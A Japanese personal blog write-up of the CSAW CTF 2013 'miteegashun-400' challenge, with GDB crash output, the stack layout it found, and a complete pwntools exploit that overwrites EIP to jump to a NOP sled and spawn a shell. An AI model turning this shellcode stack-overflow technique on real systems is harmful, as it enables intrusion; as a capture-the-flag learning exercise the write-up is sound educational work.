ちょっとずつ成長日記

強くなりたいと願いつつ少しずつ頑張る日記

CSAW CTF Qualification Round 2013 Exploitation4 (miteegashun-400)

xinetd型で32bit-ELFで、手当たり次第に攻撃をするような問題だった。私の環境では上手くデバッグできなかった(圧倒的実力不足!!)ため、ある意味苦しんだ問題でもあった。とりあえず実行

shima@chino:~$ cd workspace/pwn_list_baby/Exploitation4
shima@chino:~/workspace/pwn_list_baby/Exploitation4$ ./miteegashun 
Welcome to this demo of my exploit mitigation
This mitigation is unbeatable, prove me wrong
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
See? Flawless.

See? Flawless.と出てきているため、「ええの?そんなもん?あほくさ、overflowせんやん」と挑発された感じに取れたのでさっきの4倍ほどぶち込んだら、なんとセグフォを起こした。
とりあえずGDBで見てみよう

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : Partial

gdb-peda$ r
Starting program: /home/shima/workspace/pwn_list_baby/Exploitation4/miteegashun 
Welcome to this demo of my exploit mitigation
This mitigation is unbeatable, prove me wrong
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.

 [----------------------------------registers-----------------------------------]
EAX: 0x41414141 ('AAAA')
EBX: 0x0 
ECX: 0x3 
EDX: 0x80f04e1 ('A' <repeats 85 times>)
ESI: 0x0 
EDI: 0x8049770 (push   ebx)
EBP: 0x41414141 ('AAAA')
ESP: 0x80f0448 ('A' <repeats 200 times>...)
EIP: 0x41414141 ('AAAA')
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414141
[------------------------------------stack-------------------------------------]
0000| 0x80f0448 ('A' <repeats 200 times>...)
0004| 0x80f044c ('A' <repeats 200 times>...)
0008| 0x80f0450 ('A' <repeats 200 times>...)
0012| 0x80f0454 ('A' <repeats 200 times>...)
0016| 0x80f0458 ('A' <repeats 200 times>...)
0020| 0x80f045c ('A' <repeats 200 times>...)
0024| 0x80f0460 ('A' <repeats 200 times>...)
0028| 0x80f0464 ('A' <repeats 200 times>...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414141 in ?? ()
gdb-peda$ 

どうやら最初に入力した文字列の2倍の時点でもうすでにセグフォを起こしていた。気になるのはそこではなくEIPの数字である。いわゆる「EIPとれた!!勝ったな(確信)」という問題である。また、セキュリティの状態は何でもありの状態なのでEIPにshellcodeのアドレスを上げる感じで良さそう。
ここからが地味に面倒であったが、どの瞬間にEIPが書き換わっているかを適当に入力しながら確かめていった。すると以下のようなことが順番にstackに存在していることが分かった。

  • buffer sizeは256 byte

  • EBPがある(4 byte)

  • buffer sizeが157 byte

  • EIPがある(4 byte) この順番で格納されていることが分かった。ここまでわかったらあとはコードを書くだけ。
    コードべちょー

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

context(os='linux', arch='i386')
context.log_level = 'debug' # output verbose log
elf = ELF('./miteegashun')
HOST = 'localhost'
PORT = 34266

if len(sys.argv) > 1 and sys.argv[1] == 'r':
        conn = remote(HOST, PORT)
        print "[+] connect to server\n"
else:
        conn = process('./miteegashun')
        print "[+] connect to local\n"

shellcode = asm(shellcraft.sh())
buffer_addr = 0x80f0448
payload = '\x90'*256                    # buffer 256 byte
payload += '\x90'*4                     # EBP
payload += '\x90'*(157 - len(shellcode))# padding 157 byte
payload += shellcode                    
payload += p32(buffer_addr)             # EIP
payload += '\n'

conn.recvuntil(' wrong\n')
print payload
conn.send(payload)
conn.interactive()

どうやら今回はbufferのアドレスは固定みたい。そこで普通にbufferのアドレスをEIPにセットして終了。
[総評] EIPがとれて勝ったなという意味が実感できる問題。